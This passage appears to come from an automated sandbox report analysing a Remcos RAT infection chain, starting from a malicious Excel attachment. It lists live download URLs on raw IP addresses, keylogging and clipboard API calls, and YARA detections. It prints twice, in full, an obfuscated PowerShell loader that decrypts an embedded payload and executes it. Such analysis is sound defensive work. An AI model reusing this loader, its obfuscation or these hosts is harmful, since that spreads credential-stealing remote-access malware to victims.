              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:16:26 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uCDzbk5F4Y9jFwY177PY8kkm9gn422T7r%2B02B%2BrYkl7oiCYlTW8K2aYlCU2EO0RiHyt2fo%2FOAuirOALaCZNMJKUDzTD33YDcpwHr3FZuHPAzN%2BIQkss%2BQiaj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93fa429be34401-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
              Source: powershell.exe, 0000000A.00000002.510713800.0000000008281000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://192.3.176.154
              Source: powershell.exe, 0000000A.00000002.510713800.0000000008281000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://192.3.176.154/xampp/glo/KBV.txt
              Source: EQNEDT32.EXE, 00000008.00000002.491261819.0000000000651000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.176.154/xampp/glo/createactiveimagesbeautygirlfrnd.gIF
              Source: EQNEDT32.EXE, 00000008.00000002.491261819.0000000000651000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.176.154/xampp/glo/createactiveimagesbeautygirlfrnd.gIFj
              Source: powershell.exe, 0000000A.00000002.507138336.00000000023DB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://198.46.176.133
              Source: powershell.exe, 0000000A.00000002.507138336.00000000023DB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.505416030.0000000000020000.00000004.00000020.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.509989787.0000000004FB6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://198.46.176.133/Upload/vbs.jpeg
              Source: RegAsm.exe, RegAsm.exe, 0000000C.00000002.622570366.0000000000711000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp
              Source: powershell.exe, 0000000A.00000002.507482105.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp/C
              Source: RegAsm.exe, 0000000C.00000002.622570366.0000000000752000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpS
              Source: RegAsm.exe, 0000000C.00000002.622570366.0000000000752000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpZ
              Source: powershell.exe, 0000000A.00000002.506279937.00000000006CC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://go.microsoft.c
              Source: powershell.exe, 0000000A.00000002.507482105.00000000032C9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
              Source: powershell.exe, 0000000A.00000002.507138336.00000000022A1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
              Source: tny.wtf.url.4.drString found in binary or memory: http://tny.wtf/
              Source: c8lH8.url.4.drString found in binary or memory: http://tny.wtf/c8lH8
              Source: Purchase Inquiry.xla.xlsxString found in binary or memory: http://tny.wtf/c8lH8;
              Source: ~DF1CACC2FAC5516BE8.TMP.0.dr, 65C30000.0.drString found in binary or memory: http://tny.wtf/c8lH8yX
              Source: powershell.exe, 0000000A.00000002.507482105.00000000032C9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
              Source: powershell.exe, 0000000A.00000002.507482105.00000000032C9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
              Source: powershell.exe, 0000000A.00000002.507482105.00000000032C9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
              Source: powershell.exe, 0000000A.00000002.507482105.00000000032C9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe

              Key, Mouse, Clipboard, Microphone and Screen Capturing

              barindex
              Contains functionality to register a low level keyboard hook
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040A2B8 SetWindowsHookExA 0000000D,0040A2A4,0000000012_2_0040A2B8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,12_2_0040B70E
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004168C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,12_2_004168C1
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,12_2_0040B70E
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,12_2_0040A3E0

              E-Banking Fraud

              barindex
              Yara detected Remcos RAT
              Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.powershell.exe.41fd080.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.powershell.exe.41fd080.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000000C.00000002.622570366.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000002.622570366.0000000000711000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.507482105.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 1416, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 628, type: MEMORYSTR

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 10.2.powershell.exe.41fd080.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 10.2.powershell.exe.41fd080.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 10.2.powershell.exe.41fd080.1.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 10.2.powershell.exe.41fd080.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 10.2.powershell.exe.41fd080.1.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 10.2.powershell.exe.41fd080.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 0000000A.00000002.507482105.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: Process Memory Space: powershell.exe PID: 1416, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: Process Memory Space: powershell.exe PID: 1416, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
              Source: Process Memory Space: RegAsm.exe PID: 628, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\funtogetbacktomeforgetbacktogetbackkissthingtheentirethingstogetbacktomewithentirethingstogetback_____imangreadytoseegirlfrnd[1].doc, type: DROPPEDMatched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
              Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\823F0820.doc, type: DROPPEDMatched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
              Excel sheet contains many unusual embedded objects
              Source: Purchase Inquiry.xla.xlsxOLE: Microsoft Excel 2007+
              Source: ~DF9958884E9CE0F332.TMP.0.drOLE: Microsoft Excel 2007+
              Source: 65C30000.0.drOLE: Microsoft Excel 2007+
              Microsoft Office drops suspicious files
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\c8lH8.urlJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\tny.wtf.urlJump to behavior
              Very long command line found
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: Commandline size = 3116
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: Commandline size = 3116Jump to behavior
              Windows Scripting host queries suspicious COM object (likely to drop second stage)
              Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgIDJump to behavior
              Wscript starts Powershell (via cmd or directly)
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEMemory allocated: 770B0000 page execute and read and writeJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004167B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,12_2_004167B4
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 10_2_0035966910_2_00359669
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 10_2_003555C810_2_003555C8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043E0CC12_2_0043E0CC
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041F0FA12_2_0041F0FA
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0045415912_2_00454159
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043816812_2_00438168
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004461F012_2_004461F0
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043E2FB12_2_0043E2FB
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0045332B12_2_0045332B
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0042739D12_2_0042739D
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004374E612_2_004374E6
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043E55812_2_0043E558
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043877012_2_00438770
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004378FE12_2_004378FE
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043394612_2_00433946
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0044D9C912_2_0044D9C9
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00427A4612_2_00427A46
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041DB6212_2_0041DB62
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00427BAF12_2_00427BAF
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00437D3312_2_00437D33
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00435E5E12_2_00435E5E
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00426E0E12_2_00426E0E
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043DE9D12_2_0043DE9D
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00413FCA12_2_00413FCA
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00436FEA12_2_00436FEA
              Source: Purchase Inquiry.xla.xlsxOLE indicator, VBA macros: true
              Source: ~DF9958884E9CE0F332.TMP.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00434E10 appears 54 times
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00402093 appears 50 times
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00434770 appears 41 times
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00401E65 appears 34 times
              Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 10.2.powershell.exe.41fd080.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 10.2.powershell.exe.41fd080.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 10.2.powershell.exe.41fd080.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 10.2.powershell.exe.41fd080.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
